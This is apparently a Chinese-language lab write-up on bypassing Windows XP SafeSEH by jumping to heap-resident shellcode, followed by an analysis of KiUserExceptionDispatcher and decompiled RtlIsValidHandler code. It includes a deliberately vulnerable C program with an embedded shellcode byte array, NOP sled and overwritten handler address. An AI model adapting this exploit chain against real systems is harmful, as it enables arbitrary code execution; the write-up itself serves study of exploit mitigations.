articles
articles copied to clipboard
利用堆绕过SafeSEH及SEH异常机制分析
利用堆绕过SafeSEH及SEH异常机制分析
环境
windows xp sp3
vs 2013
测试代码
#include <Windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma warning(disable:4996)
char shellcode1[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x4f\x15\x00";
char shellcode2[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak";
void test(char *input)
{
char buf[200];
strcpy(buf, input);
int zero = 0;
zero = 1 / zero;
}
int main()
{
char *buf = (char*)malloc(500);
strcpy(buf, shellcode2);
test(shellcode2);
return 0;
}
首先利用shellcode2
确定溢出长度,以溢出seh handler
构建shellcode
,并执行,期间遇到了一个问题,每次调试中确定的malloc
返回的地址,每编译一次可能再次执行会变化一次,所以shellcode
确定的地址不一定有用。
所以执行起来也不对
shellcode
对应的堆地址设置成为0x00153630
,重新编译
试用了3
种方式,只有windbg
能够复现,别的都不行。但是证明了利用堆确实可以跳过SafeSEH
。
针对以上这种情况分别在xp sp2
和xp sp3
进行了多次实验,以确定为什么不能成功执行shellcode
。
最终确定主要的原因是,我利用宿主机器编译的代码,复制到虚拟机执行,如果利用windbg
调试,必须两次复制的文件在同一位置,并且测试shellcode
也必须使用windbg
调试测试。如果直接双击,或者使用别的调试器,都不一定会执行。
分析KiUserExceptionDispatcher(SEH异常机制分析)
上一篇分析的SEH
,讲的糊里糊涂的,并且没有ida
载入符号,这里趁着分析堆绕过SafeSEH
再重新跟一下SEH
形成机制。
在遇到异常时,ring3
下首先调用的就是KiUserExceptionDispatcher
在KiUserExceptionDispatcher
中会最先调用_RtlDispatchException@8
去处理异常。如果处理不了,再调用 _ZwContinue@8
或者调用_RtlRaiseException@4
抛出异常。
继续调试,跟进_RtlDispatchException@8
,看看它会不会调用堆中的shellcode
第一个函数RtlCallVectoredExceptionHandlers
涉及到VEH
,这个不太懂,略过。
RtlpGetStackLimits
判断一下栈空间地址合不合法。
RtlpGetRegistrationHead
得到fs:[0]
,因为fs:[0]+4
就是我们覆盖的exception_handler
地址。
之后是对fs
的一些判断,其中有一个比较重要的函数
char __stdcall RtlIsValidHandler(unsigned int a1)
{
int v2; // ebx
int v3; // esi
int v4; // edx
unsigned int v5; // edi
int v6; // ecx
unsigned int v7; // eax
char v8; // [esp+Ch] [ebp-34h]
int v9; // [esp+10h] [ebp-30h]
char v10; // [esp+20h] [ebp-20h]
int v11; // [esp+24h] [ebp-1Ch]
char v12; // [esp+28h] [ebp-18h]
int v13; // [esp+2Ch] [ebp-14h]
int v14; // [esp+30h] [ebp-10h]
int v15; // [esp+34h] [ebp-Ch]
int v16; // [esp+38h] [ebp-8h]
v15 = 0;
v2 = RtlLookupFunctionTable(a1, (unsigned int *)&v13, (int)&v16);
v14 = v2;
if ( v2 && v16 )
{
if ( v2 != -1 || v16 != -1 )
{
v5 = a1 - v13;
v4 = 0;
v3 = v16;
while ( v3 >= v4 )
{
v6 = (v3 + v4) >> 1;
v7 = *(_DWORD *)(v2 + 4 * v6);
if ( v5 < v7 )
{
if ( !v6 )
break;
v3 = v6 - 1;
}
else
{
if ( v5 <= v7 )
return 1;
v4 = v6 + 1;
}
}
RtlInvalidHandlerDetected(a1, v2, v16);
}
return 0;
}
if ( ZwQueryInformationProcess(-1, 34, (int)&v15, 4, 0) >= 0 && v15 & 0x10
|| NtQueryVirtualMemory(-1, a1, 0, &v8, 28, &v12) < 0 )
{
return 1;
}
if ( v10 & 0xF0 )
{
if ( v11 == 0x1000000 )
{
RtlCaptureImageExceptionValues(v9, &v14, &v16);
if ( v14 )
{
if ( v16 )
return 0;
}
}
return 1;
}
RtlInvalidHandlerDetected(a1, -2, -2);
return 0;
}
其判断了虚拟内存和进程的一些信息是否合法。如果不合法会调用 RtlInvalidHandlerDetected
int __stdcall RtlInvalidHandlerDetected(int a1, int a2, int a3)
{
int result; // eax
int v4; // [esp+0h] [ebp-328h]
int v5; // [esp+4h] [ebp-324h]
int v6; // [esp+Ch] [ebp-31Ch]
int v7; // [esp+10h] [ebp-318h]
int v8; // [esp+14h] [ebp-314h]
int *v9; // [esp+50h] [ebp-2D8h]
int *v10; // [esp+54h] [ebp-2D4h]
int v11; // [esp+58h] [ebp-2D0h]
char v12; // [esp+5Ch] [ebp-2CCh]
if ( a2 == -2 && a3 == -2 )
{
v11 = 0;
memset(&v5, 0, 0x4Cu);
memset(&v12, 0, 0x2C8u);
v9 = &v4;
v10 = &v11;
v5 = 1;
v7 = 1;
v4 = -1073741819;
v6 = a1;
v8 = 8;
result = RtlCallKernel32UnhandledExceptionFilter(&v9);
}
return result;
如果上述所有的判断均通过,那么就来到了真正的异常处理函数
接着跟
再跟
再跟
最后调用了我们的seh_exception_handler
,windbg验证一下
进入_RtlpExecuteHandlerForException@20
执行ExecuteHandler@20
跳转到堆中执行
成功执行
至此,基本跟着流程完成了SEH
异常处理的处理流程(其中不涉及内核部分)